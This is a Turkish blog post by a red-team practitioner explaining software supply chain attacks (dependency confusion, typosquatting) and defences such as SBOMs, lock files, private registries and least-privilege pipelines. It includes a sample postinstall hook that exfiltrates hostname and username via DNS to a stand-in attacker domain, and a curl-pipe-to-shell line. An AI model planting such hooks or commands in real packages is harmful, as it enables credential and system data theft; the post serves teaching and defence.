İçeriğe geç
Sedat Özdemir
Yazılar

cybersecurity

Kodu Sen Yazdın Ama Kimin Omzunda Yükseliyorsun? Tedarik Zinciri Kabusu

Artık kimse sadece kendi yazdığı kodun güvenliğinden sorumlu değil. Kullandığın o masum kütüphane, şirketinin anahtarlarını arka kapıdan birilerine servis ediyor olabilir mi? Tedarik zinciri saldırılarını ve korunma yollarını konuşuyoruz.

Sedat Özdemir
· 4 dk okuma

Selamlar, kahveni al ve arkana yaslan. Bugün biraz can sıkıcı ama hayati bir konuya parmak basacağız.

Eskiden siber güvenlik dediğimizde aklımıza gelen ilk şey dışarıdan gelen birinin güvenlik duvarını zorlaması, SQL injection kovalaması ya da zayıf bir parolayı kırmasıydı. Şimdilerde ise durum bambaşka bir boyuta evrildi. Artık saldırganlar kapıyı kırmak yerine, senin zaten güvendiğin ve kendi ellerinle içeri aldığın 'misafirlerin' çantasına bomba yerleştiriyorlar. Evet, tedarik zinciri (supply chain) saldırılarından bahsediyorum.

Sektörde bir trend vardır: 'Shift Left'. Yani güvenliği geliştirme sürecinin en başına çekmek. Güzel fikir, harika konsept. Ama bir sorunumuz var: Biz sola kaydıkça, saldırganlar da bizimle beraber sola, hatta bizim başladığımız noktanın daha da soluna, kullandığımız kütüphanelere ve araçlara kaydı.

Masum Bir 'npm install' Sizi Yakabilir mi?

Sen bir geliştirici olarak testCompany bünyesinde harika bir proje geliştiriyorsun. Projenin hızı için tekerleği yeniden icat etmek yerine, topluluk tarafından kabul görmüş kütüphaneleri kullanıyorsun. Bir gün terminali açıp şunu yazıyorsun:

npm install super-useful-logger

Bu komutu çalıştırdığında aslında sadece bir paket indirmiyorsun; o paketin yazarına, o yazarın güvenliğine ve o paketin bağımlı olduğu diğer yüzlerce pakete de güvenmiş oluyorsun. Eğer o kütüphanenin sahibi hesabını çaldırdıysa ya da kötü niyetli bir 'contributor' araya sızdıysa, senin tertemiz kodun bir anda bir Truva Atı'na dönüşüveriyor.

Dependency Confusion: İçeride mi Dışarıda mı?

En sevdiğim (ve Red Team operasyonlarında simüle etmeyi en çok sevdiğim) yöntemlerden biri 'Dependency Confusion'. Mantık çok basit ama can yakıcı. Diyelim ki testCompany olarak iç ağınızda kullandığınız özel bir kütüphane var: @testCompany/internal-auth.

Saldırgan, genel paket deposuna (npm, PyPI vb.) aynı isimle fakat daha yüksek bir versiyon numarasıyla sahte bir paket yüklüyor. Sizin CI/CD süreçleriniz veya yerel ortamınız paketleri çekerken, 'Aha, daha yeni bir versiyon var!' diyerek gidip saldırganın paketini indiriyor.

İşte o sahte paketin içinde olabilecek basit bir 'post-install' script örneği (defanged):

{
  "name": "@testCompany/internal-auth",
  "version": "99.9.9",
  "description": "Internal auth library",
  "scripts": {
    "postinstall": "node ./scripts/telemetry.js"
  }
}

Ve telemetry.js dosyasının içinde aslında masum görünen ama can yakan şu tarz bir kod olduğunu düşün (defanged):

const os = require('os');
const dns = require('dns');

// Sistem bilgilerini topla
const data = `${os.hostname()}:${os.userInfo().username}`;
const encodedData = Buffer.from(data).toString('hex');

// Veriyi bir DNS sorgusuyla sızdır (OOB - Out of Band exfiltration)
// Gerçek IP yerine 127.0.0.1 simülasyonu
dns.lookup(`${encodedData}.v1.attacker-domain.example.com`, (err) => {
    // Sessizce öl, kimse fark etmesin
});

Bu kod çalıştığında, paket sadece kurulmuş olur ama senin makine ismin ve kullanıcı adın çoktan birilerinin loglarına düşmüştür bile.

Typosquatting: Parmakların İhaneti

Bir diğer klasik ise typosquatting. requests yerine requesst, pandas yerine pandass yazmak bir anlık dikkatsizlik. Ama o yanlış kütüphanenin içinde seni bekleyen os.system('curl hxxp://127.0.0.1/malicious.sh | sh') benzeri bir komut, tüm prod ortamını saniyeler içinde zombi bir ağın parçası yapabilir.

Peki, Sahada Bu İşle Nasıl Savaşılır?

"Sedat abi, her şeyi anlattın, içimizi kararttın. Yok mu bunun bir çaresi?" dediğini duyar gibiyim. Elbette var. Ama bu sadece bir 'tool' yükleyip geçilecek bir mesele değil, bir kültür meselesi.

1. SBOM (Software Bill of Materials) Kullanımı

Nasıl aldığın bisküvinin arkasında içindekiler listesi varsa, yazılımının da bir 'içindekiler' listesi olmalı. SBOM, projenin hangi kütüphaneleri, hangi versiyonlarla kullandığını gösteren dijital bir envanterdir. Bir kütüphanede zafiyet çıktığında (Log4j vakasını hatırla), "Acaba biz bunu kullanıyor muyuz?" sorusuna saniyeler içinde cevap vermeni sağlar.

2. Versiyon Sabitleme ve Lock Dosyaları

package.json veya requirements.txt dosyalarında asla ucu açık versiyonlar bırakma. ^1.2.3 demek, "1.2.3'ten büyük ne varsa getir" demektir. Bunun yerine tam versiyon kullan ve package-lock.json veya yarn.lock dosyalarını mutlaka git'e commit'le. Bu dosyalar, kütüphanenin hash değerini (integrity) tutar. Eğer biri kütüphanenin içeriğini değiştirirse, hash uyuşmazlığı nedeniyle yükleme başarısız olur.

3. Private Registry ve Proxying

İnternetteki her paketi doğrudan çekmek yerine, şirket içinde bir Artifactory veya Nexus gibi bir repository manager kullanmalısın. Bu araçlar, dışarıdan gelen paketleri önce bir güvenlik taramasından geçirir (Vulnerability Scanning) ve sadece onaylı paketlerin içeri girmesine izin verir.

4. 'Least Privilege' CI/CD Pipeline

Build makinelerin her yere erişemesin. Paket indiren bir pipeline'ın üretim ortamındaki veritabanına erişmesine gerek var mı? Yok. O zaman o yetkiyi verme. Ayrıca, build aşamasında çalışan scriptlerin (pre-install, post-install) ağ erişimini kısıtlamak, yukarıda verdiğim DNS exfiltration örneğini anında boşa çıkarır.

Red Team Gözüyle Son Bir Not

Biz Red Team tarafında sızma testleri yaparken, genellikle en zayıf halkayı ararız. Eğer senin perimeter (çevre) güvenliğin çok sağlamsa, dönüp kullandığın o 'open source' tool'un GitHub reposuna bir göz atarız. Eğer orada bir zafiyet bulursak veya bir şekilde kod akışına müdahale edebilirsek, senin tüm o pahalı firewall'ların sadece birer dekorasyon malzemesine dönüşür.

Bu yüzden, sadece kendi yazdığın koda değil, projenin içine dahil ettiğin her satır koda 'şüpheli' gözüyle bakmalısın. Sıfır güven (Zero Trust) sadece ağ yapısında değil, kod yapısında da olmalı.

Umarım bu yazı, bir sonraki npm install komutunu çalıştırmadan önce seni bir saniye durup düşündürür. Güvende kalın, kodunuz temiz kalsın!

İlgili yazılar